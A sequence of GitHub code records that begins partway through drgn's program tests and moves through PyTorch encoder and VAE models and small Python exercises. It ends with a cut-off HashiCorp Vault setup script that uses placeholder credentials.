\\(expected 8\\)\",\n prog.read,\n 0xFFFF0000,\n 8,\n )\n\n\nclass TestTypes(MockProgramTestCase):\n def test_invalid_finder(self):\n self.assertRaises(TypeError, self.prog.add_type_finder, \"foo\")\n\n self.prog.add_type_finder(lambda kind, name, filename: \"foo\")\n self.assertRaises(TypeError, self.prog.type, \"int\")\n\n def test_finder_different_program(self):\n def finder(kind, name, filename):\n if kind == TypeKind.TYPEDEF and name == \"foo\":\n prog = Program()\n return prog.typedef_type(\"foo\", prog.void_type())\n else:\n return None\n\n self.prog.add_type_finder(finder)\n self.assertRaisesRegex(\n ValueError,\n \"type find callback returned type from wrong program\",\n self.prog.type,\n \"foo\",\n )\n\n def test_wrong_kind(self):\n self.prog.add_type_finder(lambda kind, name, filename: self.prog.void_type())\n self.assertRaises(TypeError, self.prog.type, \"int\")\n\n def test_not_found(self):\n self.assertRaises(LookupError, self.prog.type, \"struct foo\")\n self.prog.add_type_finder(lambda kind, name, filename: None)\n self.assertRaises(LookupError, self.prog.type, \"struct foo\")\n\n def test_already_type(self):\n self.assertIdentical(\n self.prog.type(self.prog.pointer_type(self.prog.void_type())),\n self.prog.pointer_type(self.prog.void_type()),\n )\n\n def test_invalid_argument_type(self):\n self.assertRaises(TypeError, self.prog.type, 1)\n\n def test_default_primitive_types(self):\n def spellings(tokens, num_optional=0):\n for i in range(len(tokens) - num_optional, len(tokens) + 1):\n for perm in itertools.permutations(tokens[:i]):\n yield \" \".join(perm)\n\n for word_size in [8, 4]:\n prog = mock_program(\n MOCK_PLATFORM if word_size == 8 else MOCK_32BIT_PLATFORM\n )\n self.assertIdentical(prog.type(\"_Bool\"), prog.bool_type(\"_Bool\", 1))\n self.assertIdentical(prog.type(\"char\"), prog.int_type(\"char\", 1, True))\n for spelling in spellings([\"signed\", \"char\"]):\n self.assertIdentical(\n prog.type(spelling), prog.int_type(\"signed char\", 1, True)\n )\n for spelling in spellings([\"unsigned\", \"char\"]):\n self.assertIdentical(\n prog.type(spelling), prog.int_type(\"unsigned char\", 1, False)\n )\n for spelling in spellings([\"short\", \"signed\", \"int\"], 2):\n self.assertIdentical(\n prog.type(spelling), prog.int_type(\"short\", 2, True)\n )\n for spelling in spellings([\"short\", \"unsigned\", \"int\"], 1):\n self.assertIdentical(\n prog.type(spelling), prog.int_type(\"unsigned short\", 2, False)\n )\n for spelling in spellings([\"int\", \"signed\"], 1):\n self.assertIdentical(prog.type(spelling), prog.int_type(\"int\", 4, True))\n for spelling in spellings([\"unsigned\", \"int\"]):\n self.assertIdentical(\n prog.type(spelling), prog.int_type(\"unsigned int\", 4, False)\n )\n for spelling in spellings([\"long\", \"signed\", \"int\"], 2):\n self.assertIdentical(\n prog.type(spelling), prog.int_type(\"long\", word_size, True)\n )\n for spelling in spellings([\"long\", \"unsigned\", \"int\"], 1):\n self.assertIdentical(\n prog.type(spelling),\n prog.int_type(\"unsigned long\", word_size, False),\n )\n for spelling in spellings([\"long\", \"long\", \"signed\", \"int\"], 2):\n self.assertIdentical(\n prog.type(spelling), prog.int_type(\"long long\", 8, True)\n )\n for spelling in spellings([\"long\", \"long\", \"unsigned\", \"int\"], 1):\n self.assertIdentical(\n prog.type(spelling), prog.int_type(\"unsigned long long\", 8, False)\n )\n self.assertIdentical(prog.type(\"float\"), prog.float_type(\"float\", 4))\n self.assertIdentical(prog.type(\"double\"), prog.float_type(\"double\", 8))\n for spelling in spellings([\"long\", \"double\"]):\n self.assertIdentical(\n prog.type(spelling), prog.float_type(\"long double\", 16)\n )\n self.assertIdentical(\n prog.type(\"size_t\"),\n prog.typedef_type(\n \"size_t\", prog.int_type(\"unsigned long\", word_size, False)\n ),\n )\n self.assertIdentical(\n prog.type(\"ptrdiff_t\"),\n prog.typedef_type(\"ptrdiff_t\", prog.int_type(\"long\", word_size, True)),\n )\n\n def test_primitive_type(self):\n self.types.append(self.prog.int_type(\"long\", 4, True))\n self.assertIdentical(\n self.prog.type(\"long\"), self.prog.int_type(\"long\", 4, True)\n )\n\n def test_primitive_type_invalid(self):\n # unsigned long with signed=True isn't valid, so it should be ignored.\n self.types.append(self.prog.int_type(\"unsigned long\", 4, True))\n self.assertIdentical(\n self.prog.type(\"unsigned long\"),\n self.prog.int_type(\"unsigned long\", 8, False),\n )\n\n def test_size_t_and_ptrdiff_t(self):\n # 64-bit architecture with 4-byte long/unsigned long.\n types = []\n prog = mock_program(types=types)\n types.append(prog.int_type(\"long\", 4, True))\n types.append(prog.int_type(\"unsigned long\", 4, False))\n self.assertIdentical(\n prog.type(\"size_t\"),\n prog.typedef_type(\"size_t\", prog.type(\"unsigned long long\")),\n )\n self.assertIdentical(\n prog.type(\"ptrdiff_t\"),\n prog.typedef_type(\"ptrdiff_t\", prog.type(\"long long\")),\n )\n\n # 32-bit architecture with 8-byte long/unsigned long.\n types = []\n prog = mock_program(MOCK_32BIT_PLATFORM, types=types)\n types.append(prog.int_type(\"long\", 8, True))\n types.append(prog.int_type(\"unsigned long\", 8, False))\n self.assertIdentical(\n prog.type(\"size_t\"), prog.typedef_type(\"size_t\", prog.type(\"unsigned int\"))\n )\n self.assertIdentical(\n prog.type(\"ptrdiff_t\"), prog.typedef_type(\"ptrdiff_t\", prog.type(\"int\"))\n )\n\n # Nonsense sizes.\n types = []\n prog = mock_program(types=types)\n types.append(prog.int_type(\"int\", 1, True))\n types.append(prog.int_type(\"unsigned int\", 1, False))\n types.append(prog.int_type(\"long\", 1, True))\n types.append(prog.int_type(\"unsigned long\", 1, False))\n types.append(prog.int_type(\"long long\", 2, True))\n types.append(prog.int_type(\"unsigned long long\", 2, False))\n self.assertRaisesRegex(\n ValueError, \"no suitable integer type for size_t\", prog.type, \"size_t\"\n )\n self.assertRaisesRegex(\n ValueError, \"no suitable integer type for ptrdiff_t\", prog.type, \"ptrdiff_t\"\n )\n\n def test_not_size_t_or_ptrdiff_t(self):\n self.types.append(\n self.prog.typedef_type(\n \"size_tea\", self.prog.int_type(\"unsigned char\", 1, False)\n )\n )\n self.types.append(\n self.prog.typedef_type(\"ptrdiff_tee\", self.prog.int_type(\"char\", 1, True))\n )\n self.assertIdentical(\n self.prog.type(\"size_tea\"),\n self.prog.typedef_type(\n \"size_tea\", self.prog.int_type(\"unsigned char\", 1, False)\n ),\n )\n self.assertIdentical(\n self.prog.type(\"ptrdiff_tee\"),\n self.prog.typedef_type(\"ptrdiff_tee\", self.prog.int_type(\"char\", 1, True)),\n )\n\n def test_tagged_type(self):\n self.types.append(self.point_type)\n self.types.append(self.option_type)\n self.types.append(self.color_type)\n self.assertIdentical(self.prog.type(\"struct point\"), self.point_type)\n self.assertIdentical(self.prog.type(\"union option\"), self.option_type)\n self.assertIdentical(self.prog.type(\"enum color\"), self.color_type)\n\n def test_class_type(self):\n struct_class = self.prog.struct_type(\n \"class\",\n 8,\n (TypeMember(self.prog.pointer_type(self.prog.void_type()), \"ptr\"),),\n )\n class_point = self.prog.class_type(\n \"Point\",\n 8,\n (\n TypeMember(self.prog.int_type(\"int\", 4, True), \"x\", 0),\n TypeMember(self.prog.int_type(\"int\", 4, True), \"y\", 32),\n ),\n )\n self.types.append(struct_class)\n self.types.append(class_point)\n self.prog.language = Language.C\n self.assertIdentical(self.prog.type(\"struct class\"), struct_class)\n self.prog.language = Language.CPP\n self.assertRaisesRegex(\n SyntaxError,\n \"expected identifier after 'struct'\",\n self.prog.type,\n \"struct class\",\n )\n self.assertIdentical(self.prog.type(\"class Point\"), class_point)\n\n def test_typedef(self):\n self.types.append(self.pid_type)\n self.assertIdentical(self.prog.type(\"pid_t\"), self.pid_type)\n\n def test_pointer(self):\n self.assertIdentical(\n self.prog.type(\"int *\"),\n self.prog.pointer_type(self.prog.int_type(\"int\", 4, True)),\n )\n\n def test_pointer_to_const(self):\n self.assertIdentical(\n self.prog.type(\"const int *\"),\n self.prog.pointer_type(\n self.prog.int_type(\"int\", 4, True, qualifiers=Qualifiers.CONST)\n ),\n )\n\n def test_const_pointer(self):\n self.assertIdentical(\n self.prog.type(\"int * const\"),\n self.prog.pointer_type(\n self.prog.int_type(\"int\", 4, True), qualifiers=Qualifiers.CONST\n ),\n )\n\n def test_pointer_to_pointer(self):\n self.assertIdentical(\n self.prog.type(\"int **\"),\n self.prog.pointer_type(\n self.prog.pointer_type(self.prog.int_type(\"int\", 4, True))\n ),\n )\n self.assertIdentical(self.prog.type(\"int *((*))\"), self.prog.type(\"int **\"))\n\n def test_pointer_to_const_pointer(self):\n self.assertIdentical(\n self.prog.type(\"int * const *\"),\n self.prog.pointer_type(\n self.prog.pointer_type(\n self.prog.int_type(\"int\", 4, True), qualifiers=Qualifiers.CONST\n )\n ),\n )\n\n def test_array(self):\n self.assertIdentical(\n self.prog.type(\"int [20]\"),\n self.prog.array_type(self.prog.int_type(\"int\", 4, True), 20),\n )\n\n def test_array_hexadecimal(self):\n self.assertIdentical(\n self.prog.type(\"int [0x20]\"),\n self.prog.array_type(self.prog.int_type(\"int\", 4, True), 32),\n )\n\n def test_array_octal(self):\n self.assertIdentical(\n self.prog.type(\"int [020]\"),\n self.prog.array_type(self.prog.int_type(\"int\", 4, True), 16),\n )\n\n def test_incomplete_array(self):\n self.assertIdentical(\n self.prog.type(\"int []\"),\n self.prog.array_type(self.prog.int_type(\"int\", 4, True)),\n )\n\n def test_array_two_dimensional(self):\n self.assertIdentical(\n self.prog.type(\"int [2][3]\"),\n self.prog.array_type(\n self.prog.array_type(self.prog.int_type(\"int\", 4, True), 3), 2\n ),\n )\n\n def test_array_three_dimensional(self):\n self.assertIdentical(\n self.prog.type(\"int [2][3][4]\"),\n self.prog.array_type(\n self.prog.array_type(\n self.prog.array_type(self.prog.int_type(\"int\", 4, True), 4), 3\n ),\n 2,\n ),\n )\n\n def test_array_of_pointers(self):\n self.assertIdentical(\n self.prog.type(\"int *[2][3]\"),\n self.prog.array_type(\n self.prog.array_type(\n self.prog.pointer_type(self.prog.int_type(\"int\", 4, True)), 3\n ),\n 2,\n ),\n )\n\n def test_pointer_to_array(self):\n self.assertIdentical(\n self.prog.type(\"int (*)[2]\"),\n self.prog.pointer_type(\n self.prog.array_type(self.prog.int_type(\"int\", 4, True), 2)\n ),\n )\n\n def test_pointer_to_two_dimensional_array(self):\n self.assertIdentical(\n self.prog.type(\"int (*)[2][3]\"),\n self.prog.pointer_type(\n self.prog.array_type(\n self.prog.array_type(self.prog.int_type(\"int\", 4, True), 3), 2\n )\n ),\n )\n\n def test_pointer_to_pointer_to_array(self):\n self.assertIdentical(\n self.prog.type(\"int (**)[2]\"),\n self.prog.pointer_type(\n self.prog.pointer_type(\n self.prog.array_type(self.prog.int_type(\"int\", 4, True), 2)\n )\n ),\n )\n\n def test_pointer_to_array_of_pointers(self):\n self.assertIdentical(\n self.prog.type(\"int *(*)[2]\"),\n self.prog.pointer_type(\n self.prog.array_type(\n self.prog.pointer_type(self.prog.int_type(\"int\", 4, True)), 2\n )\n ),\n )\n self.assertIdentical(\n self.prog.type(\"int *((*)[2])\"), self.prog.type(\"int *(*)[2]\")\n )\n\n def test_array_of_pointers_to_array(self):\n self.assertIdentical(\n self.prog.type(\"int (*[2])[3]\"),\n self.prog.array_type(\n self.prog.pointer_type(\n self.prog.array_type(self.prog.int_type(\"int\", 4, True), 3)\n ),\n 2,\n ),\n )\n\n\nclass TestObjects(MockProgramTestCase):\n def test_invalid_finder(self):\n self.assertRaises(TypeError, self.prog.add_object_finder, \"foo\")\n\n self.prog.add_object_finder(lambda prog, name, flags, filename: \"foo\")\n self.assertRaises(TypeError, self.prog.object, \"foo\")\n\n def test_not_found(self):\n self.assertRaises(LookupError, self.prog.object, \"foo\")\n self.prog.add_object_finder(lambda prog, name, flags, filename: None)\n self.assertRaises(LookupError, self.prog.object, \"foo\")\n self.assertFalse(\"foo\" in self.prog)\n\n def test_constant(self):\n self.objects.append(\n MockObject(\"PAGE_SIZE\", self.prog.int_type(\"int\", 4, True), value=4096)\n )\n self.assertIdentical(\n self.prog[\"PAGE_SIZE\"],\n Object(self.prog, self.prog.int_type(\"int\", 4, True), value=4096),\n )\n self.assertIdentical(\n self.prog.object(\"PAGE_SIZE\", FindObjectFlags.CONSTANT),\n self.prog[\"PAGE_SIZE\"],\n )\n self.assertTrue(\"PAGE_SIZE\" in self.prog)\n\n def test_function(self):\n self.objects.append(\n MockObject(\n \"func\",\n self.prog.function_type(self.prog.void_type(), (), False),\n address=0xFFFF0000,\n )\n )\n self.assertIdentical(\n self.prog[\"func\"],\n Object(\n self.prog,\n self.prog.function_type(self.prog.void_type(), (), False),\n address=0xFFFF0000,\n ),\n )\n self.assertIdentical(\n self.prog.object(\"func\", FindObjectFlags.FUNCTION), self.prog[\"func\"]\n )\n self.assertTrue(\"func\" in self.prog)\n\n def test_variable(self):\n self.objects.append(\n MockObject(\n \"counter\", self.prog.int_type(\"int\", 4, True), address=0xFFFF0000\n )\n )\n self.assertIdentical(\n self.prog[\"counter\"],\n Object(self.prog, self.prog.int_type(\"int\", 4, True), address=0xFFFF0000),\n )\n self.assertIdentical(\n self.prog.object(\"counter\", FindObjectFlags.VARIABLE), self.prog[\"counter\"]\n )\n self.assertTrue(\"counter\" in self.prog)\n\n\nclass TestCoreDump(TestCase):\n def test_not_core_dump(self):\n prog = Program()\n self.assertRaisesRegex(\n ValueError, \"not an ELF core file\", prog.set_core_dump, \"/dev/null\"\n )\n with tempfile.NamedTemporaryFile() as f:\n f.write(create_elf_file(ET.EXEC, []))\n f.flush()\n self.assertRaisesRegex(\n ValueError, \"not an ELF core file\", prog.set_core_dump, f.name\n )\n\n def test_twice(self):\n prog = Program()\n with tempfile.NamedTemporaryFile() as f:\n f.write(create_elf_file(ET.CORE, []))\n f.flush()\n prog.set_core_dump(f.name)\n self.assertRaisesRegex(\n ValueError,\n \"program memory was already initialized\",\n prog.set_core_dump,\n f.name,\n )\n\n def test_simple(self):\n data = b\"hello, world\"\n prog = Program()\n with tempfile.NamedTemporaryFile() as f:\n f.write(\n create_elf_file(\n ET.CORE, [ElfSection(p_type=PT.LOAD, vaddr=0xFFFF0000, data=data)]\n )\n )\n f.flush()\n prog.set_core_dump(f.name)\n self.assertEqual(prog.read(0xFFFF0000, len(data)), data)\n self.assertRaises(FaultError, prog.read, 0x0, len(data), physical=True)\n\n def test_physical(self):\n data = b\"hello, world\"\n prog = Program()\n with tempfile.NamedTemporaryFile() as f:\n f.write(\n create_elf_file(\n ET.CORE,\n [\n ElfSection(\n p_type=PT.LOAD, vaddr=0xFFFF0000, paddr=0xA0, data=data\n ),\n ],\n )\n )\n f.flush()\n prog.set_core_dump(f.name)\n self.assertEqual(prog.read(0xFFFF0000, len(data)), data)\n self.assertEqual(prog.read(0xA0, len(data), physical=True), data)\n\n def test_unsaved(self):\n data = b\"hello, world\"\n prog = Program()\n with tempfile.NamedTemporaryFile() as f:\n f.write(\n create_elf_file(\n ET.CORE,\n [\n ElfSection(\n p_type=PT.LOAD,\n vaddr=0xFFFF0000,\n data=data,\n memsz=len(data) + 4,\n ),\n ],\n )\n )\n f.flush()\n prog.set_core_dump(f.name)\n with self.assertRaisesRegex(FaultError, \"memory not saved in core dump\") as cm:\n prog.read(0xFFFF0000, len(data) + 4)\n self.assertEqual(cm.exception.address, 0xFFFF000C)\n","repo_name":"osandov/drgn","sub_path":"tests/test_program.py","file_name":"test_program.py","file_ext":"py","file_size_in_byte":33702,"program_lang":"python","lang":"en","doc_type":"code","stars":1531,"dataset":"github-code","pt":"47"} +{"seq_id":"71603906382","text":"import torch\nfrom torch import nn\nimport torch.nn.functional as F\nimport timm\nfrom transformers import DistilBertModel, DistilBertConfig, DistilBertTokenizer\nimport numpy as np\n\n\nclass MultiHeadSelfAttention(nn.Module):\n \"\"\"Self-attention module by Lin, Zhouhan, et al. ICLR 2017\"\"\"\n def __init__(self, n_head, d_in, d_hidden):\n super(MultiHeadSelfAttention, self).__init__()\n\n self.n_head = n_head\n self.w_1 = nn.Linear(d_in, d_hidden, bias=False)\n self.w_2 = nn.Linear(d_hidden, n_head, bias=False)\n self.tanh = nn.Tanh()\n self.softmax = nn.Softmax(dim=1)\n self.init_weights()\n\n def init_weights(self):\n nn.init.xavier_uniform_(self.w_1.weight)\n nn.init.xavier_uniform_(self.w_2.weight)\n\n def forward(self, x, mask=None):\n if x.dim() == 2:\n x = x.unsqueeze(1)\n # This expects input x to be of size (b x seqlen x d_feat)\n attn = self.w_2(self.tanh(self.w_1(x)))\n if mask is not None:\n mask = mask.repeat(self.n_head, 1, 1).permute(1,2,0)\n attn.masked_fill_(mask, -np.inf)\n attn = self.softmax(attn)\n output = torch.bmm(attn.transpose(1,2), x)\n if output.shape[1] == 1:\n output = output.squeeze(1)\n return output, attn\n\n\n\nclass CLIPProjectionHead(nn.Module):\n def __init__(\n self,\n embedding_dim,\n projection_dim,\n dropout,\n nl = None # Not Used\n ):\n super().__init__()\n self.projection = nn.Linear(embedding_dim, projection_dim)\n self.gelu = nn.GELU()\n self.fc = nn.Linear(projection_dim, projection_dim)\n self.dropout = nn.Dropout(dropout)\n self.layer_norm = nn.LayerNorm(projection_dim)\n\n def forward(self, x):\n projected = self.projection(x)\n x = self.gelu(projected)\n x = self.fc(x)\n x = self.dropout(x)\n x = x + projected\n x = self.layer_norm(x)\n return x\n\n\nclass ProjectionHead(nn.Module):\n def __init__(\n self,\n embedding_dim,\n projection_dim,\n dropout = 0.1, # Not Used\n nl = 'relu'\n ):\n super().__init__()\n self.projection = nn.Linear(embedding_dim, projection_dim)\n if nl == 'relu':\n self.nl = nn.ReLU()\n elif nl == 'gelu':\n self.nl = nn.GELU()\n elif nl == 'tanh':\n self.nl = nn.Tanh()\n else:\n self.nl = nl\n self.fc = nn.Linear(projection_dim, projection_dim)\n\n def forward(self, x):\n x = self.projection(x)\n x = self.nl(x)\n x = self.fc(x)\n return x\n\n\nclass PIENet(nn.Module):\n \"\"\"Polysemous Instance Embedding (PIE) module in Song and Soleymani 2019\"\"\"\n def __init__(self, d_in, d_out, dropout=0.0, n_embeds=1):\n super(PIENet, self).__init__()\n d_h = int((d_in + d_out) / 2)\n self.num_embeds = n_embeds\n self.attention = MultiHeadSelfAttention(n_embeds, d_in, d_h)\n self.fc_attn = nn.Linear(d_in, d_in)\n self.fc_proj = nn.Linear(d_in, d_out)\n self.sigmoid = nn.Sigmoid()\n self.dropout = nn.Dropout(dropout)\n self.layer_norm = nn.LayerNorm(d_in)\n self.init_weights()\n\n def init_weights(self):\n for fc in [self.fc_attn, self.fc_proj]:\n nn.init.xavier_uniform_(fc.weight)\n nn.init.constant_(fc.bias, 0.0)\n\n def forward(self, x, pad_mask=None):\n residual, _ = self.attention(x, pad_mask)\n residual = self.dropout(self.sigmoid(self.fc_attn(residual)))\n out = self.layer_norm(x + residual)\n out = self.fc_proj(out)\n return out\n\nclass FusionNet(nn.Module):\n \"\"\" Co-attention for MultiModality \"\"\"\n def __init__(self, d_in, d_out, dropout):\n super().__init__()\n self.attention = MultiHeadSelfAttention(2, d_in, d_in)\n self.fc = nn.Linear(d_in, d_out)\n self.sigmoid = nn.Sigmoid()\n self.dropout = nn.Dropout(dropout)\n self.layer_norm = nn.LayerNorm(d_out)\n self.init_weights()\n \n def init_weights(self):\n nn.init.xavier_uniform_(self.fc.weight)\n nn.init.constant_(self.fc.bias, 0.0)\n\n def forward(self, img, txt):\n x = torch.cat((img.unsqueeze(1), txt.unsqueeze(1)), dim=1)\n residual, _ = self.attention(x)\n out = self.layer_norm(x + residual).sum(1)\n return out\n\n\nclass ImageEncoder(nn.Module):\n \"\"\"\n Encode images to a fixed size vector\n \"\"\"\n def __init__(\n self,\n model_name,\n pretrained=True,\n trainable=True,\n use_pie=True\n ):\n super().__init__()\n self.model = timm.create_model(\n model_name, pretrained, num_classes=0, global_pool=\"avg\"\n )\n for p in self.model.parameters():\n p.requires_grad = trainable\n self.use_pie = use_pie\n if use_pie:\n self.image_head = PIENet(512, 512)\n\n def forward(self, x):\n out = self.model(x)\n if self.use_pie:\n out = self.image_head(out)\n return out\n\n\nclass TextEncoder(nn.Module):\n def __init__(\n self,\n model_name,\n pretrained=True,\n trainable=True,\n use_pie=True\n ):\n super().__init__()\n if pretrained:\n self.model = DistilBertModel.from_pretrained(model_name)\n else:\n self.model = DistilBertModel(config=DistilBertConfig())\n \n for p in self.model.parameters():\n p.requires_grad = trainable\n\n # we are using the CLS token hidden representation as the sentence's embedding\n self.target_token_idx = 0\n self.use_pie = use_pie\n if use_pie:\n self.text_head = PIENet(768,768)\n\n def forward(self, input_ids, attention_mask):\n output = self.model(input_ids=input_ids, attention_mask=attention_mask)\n last_hidden_state = output.last_hidden_state\n out = last_hidden_state[:, self.target_token_idx, :]\n if self.use_pie:\n out = self.text_head(out)\n return out\n\n\n\nclass UnsupervisedModel(nn.Module):\n def __init__(\n self,\n image_encoder,\n text_encoder,\n projection_dim=512,\n projection_dropout=0.1,\n projection_type='std',\n pretrained=True,\n trainable=True\n ):\n super().__init__()\n if projection_type in ['std', 'pie']:\n projection_head = ProjectionHead\n elif projection_type == 'clip':\n projection_head = CLIPProjectionHead\n else:\n raise ValueError(f\"{projection_type} not defined.\")\n use_pie = projection_type == 'pie'\n if use_pie:\n self.fuse_net = FusionNet(projection_dim, projection_dim, projection_dropout)\n else:\n self.fuse_net = None\n\n self.image_encoder = ImageEncoder(image_encoder, pretrained, trainable, use_pie)\n self.text_encoder = TextEncoder(text_encoder, pretrained, trainable, use_pie)\n self.image_embedding = self.image_encoder.model.num_features\n self.text_embedding = 768\n self.projection_type = projection_type\n\n self.image_projection = projection_head(self.image_embedding, projection_dim, projection_dropout)\n self.text_projection = projection_head(self.text_embedding, projection_dim, projection_dropout)\n self.maxpool = nn.MaxPool1d(2)\n self.name = self.get_name(image_encoder, text_encoder, projection_dim, projection_dropout, projection_type)\n print(self)\n\n def get_name(self, image_encoder, text_encoder, projection_dim, projection_dropout, projection_type):\n return '{}--{}--2x{}d--{:.2f}p--{}'.format(\n image_encoder, text_encoder, projection_dim, projection_dropout, projection_type)\n\n def maxpool_two_views(self, z_a, z_b):\n z_a = z_a.unsqueeze(2)\n z_b = z_b.unsqueeze(2)\n z = self.maxpool(torch.cat((z_a, z_b), 2))\n z = torch.squeeze(z, 2)\n return z\n\n def forward(self, batch):\n image_features = self.image_encoder(batch['image1'])\n text_features = self.text_encoder(batch['text'], batch['mask'])\n\n image_embeddings = self.image_projection(image_features)\n text_embeddings = self.text_projection(text_features)\n\n if self.fuse_net:\n fusion1 = self.fuse_net(image_embeddings, text_embeddings)\n else:\n fusion1 = None\n\n if batch['image2'] is None:\n image2_embeddings = None\n mix_embeddings = image_embeddings\n fusion2 = None\n fusion = fusion1\n else:\n image2_embeddings = self.image_projection(self.image_encoder(batch['image2']))\n mix_embeddings = self.maxpool_two_views(image_embeddings, image2_embeddings)\n if self.fuse_net:\n fusion2 = self.fuse_net(image2_embeddings, text_embeddings)\n fusion = self.fuse_net(mix_embeddings, text_embeddings)\n fusion2 = F.normalize(fusion2)\n fusion = F.normalize(fusion)\n else:\n fusion2 = None\n fusion = None\n image2_embeddings = F.normalize(image2_embeddings)\n\n mix_embeddings = F.normalize(mix_embeddings)\n image_embeddings = F.normalize(image_embeddings)\n text_embeddings = F.normalize(text_embeddings)\n if self.fuse_net:\n fusion1 = F.normalize(fusion1)\n\n out = {\n 'image1': image_embeddings,\n 'image2': image2_embeddings,\n 'image': mix_embeddings,\n 'text': text_embeddings,\n 'fusion1': fusion1,\n 'fusion2': fusion2,\n 'fusion': fusion,\n 'label': batch['label']\n }\n return out\n\n","repo_name":"FPTU-Thesis-CSAI/SemiMemes","sub_path":"src/model/unsupervised.py","file_name":"unsupervised.py","file_ext":"py","file_size_in_byte":9770,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"13651323379","text":"# Activity 7-4 pizza toppings\n\nprompt = \"Please enter many toppings as you like. \"\n\nactive = True\n\nwhile active:\n toppings = input(prompt)\n\n if toppings == \"quit\":\n active = False\n print(\"We are now delivering you pizza.\")\n print(\"Loop terminated.\")\n else:\n print(f\"{toppings.title()}. We are adding this topping to your pizza.\")","repo_name":"KeijiPlata/Python","sub_path":"ReviewPython/act7_pizzaToppings.py","file_name":"act7_pizzaToppings.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"27193192320","text":"def countAllLetters(line):\n line = line.lower()\n counter = []\n temp = []\n for k in line:\n if k != ' ' and k not in temp:\n temp.append(k)\n counter.append([k, line.count(k)]) \n\n return counter\n","repo_name":"icodeforfunandprofit/CSC-131","sub_path":"countAllLetters.py","file_name":"countAllLetters.py","file_ext":"py","file_size_in_byte":246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"43186993515","text":"S = input()\nT = input()\n\ndef is_typo(s, t):\n if s == t:\n return True\n \n n = len(s)\n\n for i in range(n-1):\n sp = s[:i] + s[i+1] + s[i] + s[i+2:]\n if sp == t:\n return True\n\n return False\n\nprint(\"Yes\" if is_typo(S, T) else \"No\")\n","repo_name":"hitochan777/kata","sub_path":"atcoder/abc221/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21424379722","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as f\nfrom torch.autograd import Variable\n\nimport math\nimport utils\nimport numpy as np\n\n__all__ = ['MultiVAE']\n\nclass Encoder(nn.Module):\n def __init__(self, options, dropout_p=0.5, q_dims=[20108, 600, 200]):\n super(Encoder, self).__init__()\n self.options = options\n self.q_dims = q_dims\n\n self.dropout = nn.Dropout(p=dropout_p, inplace=False)\n self.linear_1 = nn.Linear(self.q_dims[0], self.q_dims[1], bias=True)\n self.linear_2 = nn.Linear(self.q_dims[1], self.q_dims[2] * 2, bias=True)\n self.tanh = nn.Tanh()\n\n for module_name, m in self.named_modules():\n if isinstance(m, nn.Linear):\n nn.init.xavier_uniform_(m.weight.data)\n if m.bias is not None:\n m.bias.data.normal_(0.0, 0.001)\n\n def forward(self, x):\n x = self.dropout(x)\n x = self.linear_1(x)\n x = self.tanh(x)\n x = self.linear_2(x)\n mu_q, logvar_q = torch.chunk(x, chunks=2, dim=1)\n return mu_q, logvar_q\n\n\nclass Decoder(nn.Module):\n def __init__(self, options, p_dims=[200, 600, 20108]):\n super(Decoder, self).__init__()\n self.options = options\n self.p_dims = p_dims\n\n self.linear_1 = nn.Linear(self.p_dims[0], self.p_dims[1], bias=True)\n self.linear_2 = nn.Linear(self.p_dims[1], self.p_dims[2], bias=True)\n self.tanh = nn.Tanh()\n\n for module_name, m in self.named_modules():\n if isinstance(m, nn.Linear):\n nn.init.xavier_uniform_(m.weight.data)\n if m.bias is not None:\n m.bias.data.normal_(0.0, 0.001)\n\n def forward(self, x):\n x = self.linear_1(x)\n x = self.tanh(x)\n x = self.linear_2(x)\n return x\n\nclass MultiVAE(nn.Module):\n def __init__(self, cuda2=True, weight_decay=0.0, dropout_p=0.5, q_dims=[20108, 600, 200], p_dims=[200, 600, 20108], n_conditioned=0):\n super(MultiVAE, self).__init__()\n self.cuda2 = cuda2\n self.weight_decay = weight_decay\n self.n_conditioned = n_conditioned\n self.q_dims = q_dims\n self.p_dims = p_dims\n self.q_dims[0] += self.n_conditioned\n self.p_dims[0] += self.n_conditioned\n\n self.encoder = Encoder(None, dropout_p=dropout_p, q_dims=self.q_dims)\n self.decoder = Decoder(None, p_dims=self.p_dims)\n\n def forward(self, x, c):\n x = f.normalize(x, p=2, dim=1)\n if self.n_conditioned > 0:\n x = torch.cat((x, c), dim=1)\n\n mu_q, logvar_q = self.encoder.forward(x)\n std_q = torch.exp(0.5 * logvar_q)\n KL = torch.mean(torch.sum(0.5 * (-logvar_q + torch.exp(logvar_q) + mu_q ** 2 - 1), dim=1))\n epsilon = torch.randn_like(std_q, requires_grad=False)\n if True:\n if self.training:\n sampled_z = mu_q + epsilon * std_q\n else:\n sampled_z = mu_q\n else:\n sampled_z = mu_q + epsilon * std_q\n\n if self.n_conditioned > 0:\n sampled_z = torch.cat((sampled_z, c), dim=1)\n logits = self.decoder.forward(sampled_z)\n\n return logits, KL, mu_q, std_q, epsilon, sampled_z\n\n def get_l2_reg(self):\n l2_reg = Variable(torch.FloatTensor(1), requires_grad=True)\n if self.weight_decay > 0:\n for k, m in self.state_dict().items():\n if k.endswith('.weight'):\n l2_reg = l2_reg + torch.norm(m, p=2) ** 2\n if self.cuda2:\n l2_reg = l2_reg.cuda()\n return self.weight_decay * l2_reg[0]\n","repo_name":"cydonia999/variational-autoencoders-for-collaborative-filtering-pytorch","sub_path":"vae.py","file_name":"vae.py","file_ext":"py","file_size_in_byte":3628,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"47"} +{"seq_id":"3095655925","text":"from http import client\nfrom itertools import count\nfrom venv import create\nimport hvac \nimport random \n\n'''\n1. Install Vault \n\n- `brew tap hashicorp/tap` \n- `brew install hashicorp/tap/vault` \n\n2. Verify the HCP Vault installation: \n\n- `vault` \n\n3. Start the HCP Vault server. This will help us to programmatically store secrets \n\n- `vault server -dev` \n\n4. Keep an eye on the output of `vault server -dev` . From the output we will use `address` and `token` \n\n5. `pip install hvac`\n'''\n\ncounter_mapper = {}\nhvac_token = \"REPLACE_THIS_WITH_YOUR_OWN\" ## this should come from the output of *vault server -dev* \nhvac_url = \"REPLACE_THIS_WITH_YOUR_OWN\" ## this should come from the output of *vault server -dev*\nansible_secret_retrieval = '\"{{ lookup(' + \"'hashi_vault', 'secret=\" 